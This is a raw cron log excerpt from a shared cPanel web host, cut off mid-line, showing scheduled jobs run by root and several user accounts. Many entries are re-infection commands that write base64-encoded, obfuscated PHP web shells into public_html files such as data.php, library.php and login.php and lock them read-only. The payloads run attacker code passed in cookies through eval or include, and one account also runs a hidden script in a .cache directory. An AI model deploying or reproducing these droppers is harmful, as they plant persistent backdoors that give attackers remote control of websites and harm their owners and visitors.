Mar  2 11:26:01 medusa CROND[27128]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:26:01 medusa CROND[27129]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:26:01 medusa CROND[27130]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 11:26:01 medusa CROND[27132]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:26:01 medusa CROND[27137]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 11:26:01 medusa CROND[27138]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 11:26:01 medusa CROND[27140]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:26:01 medusa CROND[27134]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:26:01 medusa CROND[27142]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:26:01 medusa CROND[27143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:26:01 medusa CROND[27146]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:27:01 medusa CROND[12925]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:27:01 medusa CROND[12926]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:27:01 medusa CROND[12927]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 11:27:01 medusa CROND[12928]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:27:01 medusa CROND[12929]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:27:01 medusa CROND[12930]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:27:01 medusa CROND[12931]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:27:01 medusa CROND[12932]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:27:01 medusa CROND[12933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:27:01 medusa CROND[12937]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:27:01 medusa CROND[12938]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:27:01 medusa CROND[12943]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:28:01 medusa CROND[30530]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:28:01 medusa CROND[30712]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:28:01 medusa CROND[30713]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:28:01 medusa CROND[30714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:28:01 medusa CROND[30716]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:28:01 medusa CROND[30718]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbn